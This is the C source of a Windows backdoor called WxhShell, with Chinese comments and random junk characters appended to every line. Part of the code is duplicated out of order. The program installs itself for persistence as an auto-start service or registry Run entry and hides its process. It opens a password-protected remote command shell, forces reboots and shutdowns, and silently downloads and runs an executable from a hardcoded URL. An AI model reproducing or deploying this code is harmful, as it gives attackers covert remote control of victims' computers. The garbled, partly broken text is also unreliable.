    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>4;Zd!@d  
    else { } CfqG?)  
    closesocket(wsh); IIyI=Wl pG  
    ExitThread(0); &?h,7 D;A  
    } b:w?PC~O  
    break; Ag@;  
    } u_rdmyq$x/  
  // 获取shell _SA5e3#  
  case 's': { cp o-.  
    CmdShell(wsh); U)3DQ6T99  
    closesocket(wsh); ]KJj6xn  
    ExitThread(0); R i^[i}  
    break; tr7<]Hm:  
  } i E CrI3s  
  // 退出 ~/*MY  
  case 'x': { `UBYp p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gJM`[x`T  
    CloseIt(wsh); Y/7 $1k  
    break; H@l}WihW  
    } !fj(tPq  
  // 离开 ZI=v.wa  
  case 'q': { <ZB1Vi9}8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -I=l8m6L  
    closesocket(wsh); !>1@HH?I\/  
    WSACleanup(); E4hLtc^ +  
    exit(1); y{N-+10z  
    break; q&d~ \{J  
        } 6&/T@LQYrh  
  } RZ+`T+zL  
  } p QizJ6  
__.+s32SS$  
  // 提示信息 4^URX >nx8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QVtQx>K`  
} 9V5-%Iv  
  } ttu&@ =  
0'IBN}  
  return; db6mfx i  
} 1/"WD?a  
rdJR 2  
// shell模块句柄 s-v  
int CmdShell(SOCKET sock) &?(?vDFfZ  
{ +>PX&F  
STARTUPINFO si; 6 :~v4W!k  
ZeroMemory(&si,sizeof(si)); r-<F5<H+K@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & \f{E\A#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s;A@*Y;v  
PROCESS_INFORMATION ProcessInfo; cb}[S:&|  
char cmdline[]="cmd"; uS^Ipxe\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zE_i*c"`  
  return 0; D gaMO,  
} ,I,\ml  
mWvl 38  
// 自身启动模式 Q 7?#=N?  
int StartFromService(void) Bs?^2T~%{  
{ {E8~Z8tT  
typedef struct VX1-JxY  
{ \P6$mh\T  
  DWORD ExitStatus; L+i(TM=  
  DWORD PebBaseAddress; ?F3h)(}  
  DWORD AffinityMask; G nG>7f[v  
  DWORD BasePriority; q*9!,!e  
  ULONG UniqueProcessId; aca=yDs2  
  ULONG InheritedFromUniqueProcessId; &Udb9  
}   PROCESS_BASIC_INFORMATION; a0#J9O_  
(I./ Uu%  
PROCNTQSIP NtQueryInformationProcess; }1upi=+ aE  
1aTB%F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :*KHx|Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L'kmNVvYN  
P ! _rEV  
  HANDLE             hProcess; ;&)-;l7M  
  PROCESS_BASIC_INFORMATION pbi; WILMH`  
>=-(UA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hr)B[<9  
  if(NULL == hInst ) return 0; aYSCw 3C<  
t)}scf&^x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;-qO'V:;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~W-PD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l~$+,U&XNe  
T]c%!&^ _  
  if (!NtQueryInformationProcess) return 0; lx7Q.su'  
Kuu *&u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AQwdw>I-FX  
  if(!hProcess) return 0; $F5 b  
w}YlVete  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nb'''W-iu  
V]db'qB\  
  CloseHandle(hProcess); av|g}xnj  
?snp8W-WB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4v{o  
if(hProcess==NULL) return 0; Ob<{G"  
:Nz2z[W$  
HMODULE hMod; =7m)sxj]w  
char procName[255]; ~o~!+`@q  
unsigned long cbNeeded; pW J Fz-  
V: TM]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L bmawi^  
JVSA&c%3  
  CloseHandle(hProcess); ybKWOp:O  
lE(a%'36  
if(strstr(procName,"services")) return 1; // 以服务启动 W~7A+=&  
LF& z  
  return 0; // 注册表启动 @y\X R  
} i=oU;7~zK  
5l UF7:A>#  
// 主模块 .0`m\~L  
int StartWxhshell(LPSTR lpCmdLine) !'9Feoez  
{ 9~/J35  
  SOCKET wsl; <"my^  
BOOL val=TRUE; R[hzMU}KB  
  int port=0; 4J/}]Dr5  
  struct sockaddr_in door; 7\s"o&G  
?b>,9A.Z  
  if(wscfg.ws_autoins) Install(); 2OVRf0.R~  
)x=1]T>v"'  
port=atoi(lpCmdLine); E vg_q>  
Eu@huN*/  
if(port<=0) port=wscfg.ws_port; S(*sw 0O@+  
%_%Q 8,W  
  WSADATA data; #W.#Hjpp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hRD=Y<>A  
U!*M*s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _)>_{Pm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); naR0@Q"\h  
  door.sin_family = AF_INET; +{f:cea (1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \=ux atw  
  door.sin_port = htons(port); (G;l x  
U`NjPZe5^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %D%8^Zd_  
closesocket(wsl); a C\MJ9  
return 1; n%.7h3  
} @v)p<r^M">  
:2rZcoNb.  
  if(listen(wsl,2) == INVALID_SOCKET) { 8"8t-E#?  
closesocket(wsl); oldA#sA$  
return 1; eoG$.M"  
} |Sy<@oq  
  Wxhshell(wsl); )I^7)x  
  WSACleanup(); SBfT20z[  
.yqM7U_  
return 0; f=r<nb'H  
-~v2BN/  
} R\G0'?h >  
pm 9"4z  
// 以NT服务方式启动 YA_c N5p/@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IID-k  
{ v,-HU&/*B  
DWORD   status = 0; CR"|^{G  
  DWORD   specificError = 0xfffffff; d\|?-hY`[  
JP!~,mdS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R6kD=JY/!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r")`Ph@yp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "!ug_'VW  
  serviceStatus.dwWin32ExitCode     = 0; [6%VRqY  
  serviceStatus.dwServiceSpecificExitCode = 0; ^cP!\E-^  
  serviceStatus.dwCheckPoint       = 0; ;Q OBBF3HG  
  serviceStatus.dwWaitHint       = 0; 9.gXzP H  
4~Vx3gEV:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =JK@z  
  if (hServiceStatusHandle==0) return; g9}DnCT*.  
/_AnP  
status = GetLastError(); 4C61GB?Vy  
  if (status!=NO_ERROR) IoQEtA  
{ z<U-#k7nz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ORHp$Un~)  
    serviceStatus.dwCheckPoint       = 0; ?mFv0_!O  
    serviceStatus.dwWaitHint       = 0; "4+ &-ms  
    serviceStatus.dwWin32ExitCode     = status; "/3'XOK|  
    serviceStatus.dwServiceSpecificExitCode = specificError; @s ?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l1OE!W W  
    return; P2BWuh F  
  } jjw`Dto&  
}@'$b<!B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]6(N@RC  
  serviceStatus.dwCheckPoint       = 0; ;=eDO(Ij  
  serviceStatus.dwWaitHint       = 0; ?(D q?-.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~J wb`g.  
} RKHyw 08  
(2J: #  
// 处理NT服务事件,比如:启动、停止 eg\v0Y!rI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cl[BF'.H  
{ 5\5/  
switch(fdwControl) Y)0*b5?1r  
{ DS.RURzd{r  
case SERVICE_CONTROL_STOP: A}G7l?V&  
  serviceStatus.dwWin32ExitCode = 0; dMf:h"7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v7BA[jQr  
  serviceStatus.dwCheckPoint   = 0; D[aCsaR  
  serviceStatus.dwWaitHint     = 0; }Z@ovsG  
  { 9ifDcYl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~dgDO:)  
  } ?I_s0k I  
  return; %GjM(;Tk  
case SERVICE_CONTROL_PAUSE: p{amC ;cI$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =9'RM>  
  break; 9YIM'q>`v  
case SERVICE_CONTROL_CONTINUE: :~e>Ob[,"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R]c+?4J  
  break; I5 o)_nc  
case SERVICE_CONTROL_INTERROGATE: TJ_$vI  
  break; X^}I-M%{m  
}; 5nv#+ap1 "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C%$edEi  
} [')m|u~FS4  
"CSsCA$/  
// 标准应用程序主函数 A-Sv;/yD_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L-jJg,eY  
{ bhTb[r  
u)X=Qm)  
// 获取操作系统版本 r?+%?$  
OsIsNt=GetOsVer(); H*RC@O_hv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0%9 q8 M;  
zT =Ho   
  // 从命令行安装 q8X feoUV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]fx"4qKM  
T*8VDY7  
  // 下载执行文件 >BIMi^  
if(wscfg.ws_downexe) { f=(?JT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \\r)Ue]  
  WinExec(wscfg.ws_filenam,SW_HIDE); tvkb~  
} B6u/mo<  
\rx3aJl  
if(!OsIsNt) { *xx'@e|<;  
// 如果时win9x,隐藏进程并且设置为注册表启动 X[*<NN  
HideProc(); 0Is,*Srr  
StartWxhshell(lpCmdLine); a]JYDq`,3  
} BWeA@v  
else [pC$+NX  
  if(StartFromService()) 3c#BKHNC  
  // 以服务方式启动 %+ @O#P  
  StartServiceCtrlDispatcher(DispatchTable); ypbe!Y<i]  
else m!|kW{B#A  
  // 普通方式启动 5L+>ewl  
  StartWxhshell(lpCmdLine); oRm L {UDZ  
0LPig[  
return 0; 3QV*%  
} 0t^M3+nc  
?J%1#1L"/  
B-?6M6#  
yCd-9zb=  
=========================================== *rM^;4Zt  
,0~^>K  
G"-?&)M#a  
:#LLo}LKp  
T%.8 '9  
%824Cqdc  
" 6*PYFf`  
;X8yFq  
#include <stdio.h> EY^1Y3D w0  
#include <string.h> opY@RJ]  
#include <windows.h> gFeO}otm  
#include <winsock2.h> kW2sY^Rg  
#include <winsvc.h> N+m)/x =:  
#include <urlmon.h> AYt%`Y.!  
3C?f(J}  
#pragma comment (lib, "Ws2_32.lib") xHUsFm s  
#pragma comment (lib, "urlmon.lib") `n#H5Oyn  
Pj#<K%Bz  
#define MAX_USER   100 // 最大客户端连接数 NTdixfR  
#define BUF_SOCK   200 // sock buffer (_niMQtF}  
#define KEY_BUFF   255 // 输入 buffer \a5U8shc  
]9YJ,d@J  
#define REBOOT     0   // 重启 $yn];0$J  
#define SHUTDOWN   1   // 关机 )<oJnxe]  
3)F |*F3R  
#define DEF_PORT   5000 // 监听端口 =!kk|_0%E  
M`. tf_x  
#define REG_LEN     16   // 注册表键长度 !S^AgZ~  
#define SVC_LEN     80   // NT服务名长度 T m_bz&Q  
yWg@v +  
// 从dll定义API T_s _p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y#!UPhg<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4E; VM{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n(b(yXYm]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4~k\j  
6DM$g=/ '  
// wxhshell配置信息 d:ARf  
struct WSCFG { -9%:ilX~  
  int ws_port;         // 监听端口 >z/#_z@LV  
  char ws_passstr[REG_LEN]; // 口令 r;B8i!gD  
  int ws_autoins;       // 安装标记, 1=yes 0=no \.C +ue  
  char ws_regname[REG_LEN]; // 注册表键名 TlXI|3Ip  
  char ws_svcname[REG_LEN]; // 服务名 B:dB,3,`(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D2<fw#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^"VJd[Hn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W}3.E "K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MC?,UDNd%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gcE|#1>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J,V9k[88  
)2pbpbWX>  
}; {J{+FFsr(  
V[{6e  
// default Wxhshell configuration VYu~26Zr  
struct WSCFG wscfg={DEF_PORT, XF Patd  
    "xuhuanlingzhe", UM!ENI|  
    1, VbJiZw(aR  
    "Wxhshell", ~o82uw?  
    "Wxhshell", ~c8? >oN(  
            "WxhShell Service", @E^~$-J5j  
    "Wrsky Windows CmdShell Service", ~;QvWS  
    "Please Input Your Password: ", z8jk[5z  
  1, `{eyvW[Ks  
  "http://www.wrsky.com/wxhshell.exe", &)8:h+&Z  
  "Wxhshell.exe" *'OxAfa#x  
    }; u\E?Y[1  
Usr@uI#{J  
// 消息定义模块 TkE 8D n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ST2.:v;lb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k >F'ypm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?5U2D%t  
char *msg_ws_ext="\n\rExit.";  +EFgE1w  
char *msg_ws_end="\n\rQuit."; )i~cr2Hk  
char *msg_ws_boot="\n\rReboot..."; ~J5+i9T.)  
char *msg_ws_poff="\n\rShutdown..."; 1q~+E\x  
char *msg_ws_down="\n\rSave to "; 0]>u )%  
+!k&Yje  
char *msg_ws_err="\n\rErr!"; H9KKed47d/  
char *msg_ws_ok="\n\rOK!"; N8!cO[3Oh  
{s)+R[?m<o  
char ExeFile[MAX_PATH]; q`|LRz&al  
int nUser = 0; x9$` W  
HANDLE handles[MAX_USER]; _.>QEh5"5  
int OsIsNt; 2{]`W57_=  
aiQ>xen5C5  
SERVICE_STATUS       serviceStatus; YCdS!&^UN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]Oh@,V8  
<p}R~zk  
// 函数声明 aHs^tPg  
int Install(void); {n(b{ ibl  
int Uninstall(void); ;6gDV`Twy  
int DownloadFile(char *sURL, SOCKET wsh); j Yx38_5e  
int Boot(int flag); -#0qV:D  
void HideProc(void); tna .52*/  
int GetOsVer(void); 7q?9Tj3  
int Wxhshell(SOCKET wsl); F|F]970  
void TalkWithClient(void *cs); $i&e[O7T;  
int CmdShell(SOCKET sock); L=c!:p|7)  
int StartFromService(void); 4A@NxihH  
int StartWxhshell(LPSTR lpCmdLine); 3j,Q`+l/6d  
A54N\x,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dakoqke  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V7GRA#|  
flk=>h|  
// 数据结构和表定义 5 elw~u  
SERVICE_TABLE_ENTRY DispatchTable[] = E_Im^a  
{ U3 */v4/  
{wscfg.ws_svcname, NTServiceMain}, @*}D$}aR'V  
{NULL, NULL} -c(F1l  
}; 0FGe=$vD  
Uh.oErHQD  
// 自我安装 y@ ML/9X8q  
int Install(void) ykv94i?Q  
{ (>F%UY  
  char svExeFile[MAX_PATH]; SLO%7%>p  
  HKEY key; ;+0t;B!V  
  strcpy(svExeFile,ExeFile); lFa02p0  
z8{a(nKP  
// 如果是win9x系统,修改注册表设为自启动 nFE4qm  
if(!OsIsNt) { =3|O %\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c05TsMF&O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -%2[2p  
  RegCloseKey(key); ;ToKJ6hN|*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HuB<k3#sPy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S7=Bd[4  
  RegCloseKey(key); q+P|l5_ t  
  return 0; aT_&x@x  
    } I3 .x9  
  } KQacoUHrK?  
} e:DkGy`-s  
else { &L#UGp $,  
.zS?9MP  
// 如果是NT以上系统,安装为系统服务 8*8Zc/{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pF&(7u  
if (schSCManager!=0) pcau}5 .  
{ !g Z67  
  SC_HANDLE schService = CreateService thV>j9'  
  ( RMX:9aQ3F  
  schSCManager, 6;C3RU]  
  wscfg.ws_svcname, _8"O$w  
  wscfg.ws_svcdisp, 0QPH}Vi5}  
  SERVICE_ALL_ACCESS, szsk;a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7#@cz5Su  
  SERVICE_AUTO_START, S?RN?1  
  SERVICE_ERROR_NORMAL, cj+ FRG~u  
  svExeFile, i%ZW3MrY~  
  NULL, 5V5%/FU m  
  NULL, TftHwe):V  
  NULL, L~(_x"uXd  
  NULL, Ae69>bkE0  
  NULL r;>*_Oc7g  
  ); $}lbT15a  
  if (schService!=0) t>1Z\lE\"  
  { XD|E=s  
  CloseServiceHandle(schService); x;-. ZVF  
  CloseServiceHandle(schSCManager); ?g?L3vRK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )\sc83L  
  strcat(svExeFile,wscfg.ws_svcname); hy}8Aji&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3BB%Z 6F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w:s]$:MA8  
  RegCloseKey(key); dlJbI}-v=  
  return 0; )_mr! z(S  
    } 2rmSo&3@s  
  } M>&%(4K  
  CloseServiceHandle(schSCManager); A:aE|v/T&  
} B+[A]dgS  
} #k_HN}B  
$Z|ffc1  
return 1; F_Y7@Ei/  
} f` :i.Sr  
JAAI_gSR3  
// 自我卸载 1"/He ` 4  
int Uninstall(void)  yyv8gH  
{ m-H-6`]  
  HKEY key; 9;Itqe{8w  
Gqcq,_?gt  
if(!OsIsNt) { ?47@ o1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vnx,5E&  
  RegDeleteValue(key,wscfg.ws_regname); ?"zY" *>4  
  RegCloseKey(key); RQ'exc2x0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:q"l\n>  
  RegDeleteValue(key,wscfg.ws_regname); =i_-F$pV  
  RegCloseKey(key); v3}L`dyh3  
  return 0; Hu.t 3:w  
  } -:30:oq  
} ~n[xtWO0  
} ox:[f9.5  
else { Vm(1G8 a  
GDu~d<RH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2R=DB`3  
if (schSCManager!=0) bhkUKxd  
{ SG-'R1 J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IB# @yH  
  if (schService!=0) = QQ5f5\l  
  { Y^ kXSU  
  if(DeleteService(schService)!=0) { \"CZI<=TB  
  CloseServiceHandle(schService); v-yde >(  
  CloseServiceHandle(schSCManager); }e2(T  
  return 0; PUo/J~v  
  } p3]_}Y D[#  
  CloseServiceHandle(schService); #+$G=pS'v  
  } ?*?RP)V  
  CloseServiceHandle(schSCManager); S/Fkw4%  
} sXi=70o  
} }-~X4u#   
y]J89  
return 1; WcHgBbNe  
} eFpTW&9n  
#ggf' QIHp  
// 从指定url下载文件 kqce[hgs<  
int DownloadFile(char *sURL, SOCKET wsh) #<e\QE'!  
{ 3l3+A+ n  
  HRESULT hr; %=?cZfFqO  
char seps[]= "/"; e =4+$d  
char *token; oI}kH=<,  
char *file; DA2}{  
char myURL[MAX_PATH]; -8r  
char myFILE[MAX_PATH]; ~><^'j[  
T:/,2.l  
strcpy(myURL,sURL); 3 n'V\H vz  
  token=strtok(myURL,seps); A,%C,*)Cg  
  while(token!=NULL) Hir Fl  
  { Ga#:P F0  
    file=token; /e]'u&a  
  token=strtok(NULL,seps); ,z;ky5Ct  
  } F>]m3(  
Mk=mT3=#  
GetCurrentDirectory(MAX_PATH,myFILE); %g1,N k  
strcat(myFILE, "\\"); ~4s'0 w^  
strcat(myFILE, file); KN t t  
  send(wsh,myFILE,strlen(myFILE),0); cx}Q2S  
send(wsh,"...",3,0); (FJ9-K0b{n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L=q+|j1>  
  if(hr==S_OK) p98~&\QT  
return 0; $BFvF ,n  
else O!Oumw,$  
return 1; :um|nRwy9  
yU8{i&w4  
} IkrF/$r  
u0#}9UKQ  
// 系统电源模块 >. '<J]  
int Boot(int flag) \MjJ9u `8  
{ NPd%M  
  HANDLE hToken; =JKv:</.G  
  TOKEN_PRIVILEGES tkp; mt5KbA>nU  
/9zE^YcT  
  if(OsIsNt) { V5GW:QT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ma8_:7`>O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d'/TdVM  
    tkp.PrivilegeCount = 1; J|X 6j&-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ &P >r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _R.B[\r@  
if(flag==REBOOT) { $<^u^q37u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HcedE3Rg  
  return 0; ]S(%[|  
} /[6j)HIS  
else { jS+AGE?5e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s/7 A7![  
  return 0; yv\#8I:qh  
} 9*E7}b,  
  } W -  
  else { Mz1G5xcl  
if(flag==REBOOT) { ?V}j`r8|\4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Bj;D=d@V  
  return 0; -s|}Rh?Y  
} 2*N_5&9mE  
else { OM|Fwr$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Wq@gV  
  return 0; \mw(cM#:  
} -0_d/'d  
} IBQ@{QB  
+&Hr4@pgW  
return 1; \MK*by  
} 6gT5O]]#o  
Pl<; [cB  
// win9x进程隐藏模块 u{FDdR9<  
void HideProc(void) cuK,X!O  
{ zCOgBT~p   
X^\> :<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t9Y=m6  
  if ( hKernel != NULL ) cwm_nQKk  
  { KAsS [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *1 G>YH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p_UlK8rb  
    FreeLibrary(hKernel); m85WA # `  
  } ?x+Z)`w_  
=) E,8L  
return; 6m VuyI  
} Dk+&X-]6x5  
u5~Ns&o&N  
// 获取操作系统版本 xS7$%w['  
int GetOsVer(void) Up:<=Kgci  
{ Gcb|W&  
  OSVERSIONINFO winfo; H*bs31i{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @q"m5  
  GetVersionEx(&winfo); 25NTIzI@@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t=*@yQ nB  
  return 1; yA)(*PFz  
  else iA0q_( \X  
  return 0; mo1oyQg8  
} R|f~>JUF  
qim 'dp:  
// 客户端句柄模块 7T"XPV|W6  
int Wxhshell(SOCKET wsl) rU;RGz6}  
{ r1<F  
  SOCKET wsh; avy"r$v_&  
  struct sockaddr_in client; $5v0m#[^  
  DWORD myID; dJv!Dts')C  
Oky**B[D'  
  while(nUser<MAX_USER) FSRm|  
{ u7xDau(c  
  int nSize=sizeof(client); +rIL|c}J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `;YU.*  
  if(wsh==INVALID_SOCKET) return 1; >(y<0   
gtYAHi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `\X+ Ud|  
if(handles[nUser]==0) 3:{yJdpg  
  closesocket(wsh); %lX%8Z$v  
else k"g._|G  
  nUser++; G[8in   
  } CiR%Ujf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U`o^mtW.  
LGc&o]k  
  return 0; MWNPPYww  
} 11|Rdd+}  
h(qQsxIOhS  
// 关闭 socket L{E^?iX  
void CloseIt(SOCKET wsh) %L [&,a  
{ pA;-v MpMj  
closesocket(wsh); jqH3J2L  
nUser--; `]LSbS  
ExitThread(0); {QbvR*gv  
} 4CQ"8k(S"  
XyMG.r-,  
// 客户端请求句柄 goJ|oi  
void TalkWithClient(void *cs) $5L0.$Tj  
{ -k(CJ5H9  
sz-- 27es  
  SOCKET wsh=(SOCKET)cs; ^'p|!`:  
  char pwd[SVC_LEN]; A~Xq,BxCV  
  char cmd[KEY_BUFF]; zZiJ 9 e  
char chr[1]; m=Q[\.Ra  
int i,j; <*t4D-os  
U!XS;a)  
  while (nUser < MAX_USER) { kD) $2I?  
}pa9%BQI  
if(wscfg.ws_passstr) { 4d_s%n?C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M7>(hVEAW'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bm\qxQ  
  //ZeroMemory(pwd,KEY_BUFF); _5MNMV LwW  
      i=0; \v6 M:KR5/  
  while(i<SVC_LEN) { l%Gw_0.?e  
bS >0DU   
  // 设置超时 5'w^@Rs5  
  fd_set FdRead; /%4_-Cpm  
  struct timeval TimeOut; c9j*n;Q  
  FD_ZERO(&FdRead); N~g :Wf!  
  FD_SET(wsh,&FdRead); BZb]SoAL  
  TimeOut.tv_sec=8; n,~;x@=5  
  TimeOut.tv_usec=0; f'q 28lVf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [+w3J#K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ BT)l]  
PY3ps2^K.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {B*W\[ns  
  pwd=chr[0]; 0F#>CmD  
  if(chr[0]==0xd || chr[0]==0xa) { 4f~["[*ea  
  pwd=0; ES<{4<Kpx  
  break; W>M~Sk$v  
  } hh~n#7w~IR  
  i++; FuX 8v  
    } dY" }\v6  
$|KaBx1  
  // 如果是非法用户,关闭 socket ;NV'W]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [!^-J}^g~\  
} V@d )?T  
PuxK?bwC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k>E`s<3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *?yJkJ"  
1!p/6  
while(1) { yMLOUUWa8x  
>QHo@Zqj(  
  ZeroMemory(cmd,KEY_BUFF); Gg\G'QU  
XT,#g-oi  
      // 自动支持客户端 telnet标准   u@p?  
  j=0; )'Wb&A'  
  while(j<KEY_BUFF) { M}DH5H"s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @c'|Iqy`  
  cmd[j]=chr[0]; .bf<<+'o  
  if(chr[0]==0xa || chr[0]==0xd) { 9kKnAf4Z  
  cmd[j]=0; D\^WXY5e%y  
  break; xjdw'v+qZo  
  } 2JmZ{  
  j++; JNWg|Qt  
    } K?#]("De6  
/w]&t\]*  
  // 下载文件 k:A|'NK~  
  if(strstr(cmd,"http://")) { "0jJh^vk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kW6%32  
  if(DownloadFile(cmd,wsh)) 8*g ^o\M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ]c{c#N/  
  else Io2mWvu?5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E?PGu!&u  
  } lEPAP|~uw  
  else { j2 h[70fWC  
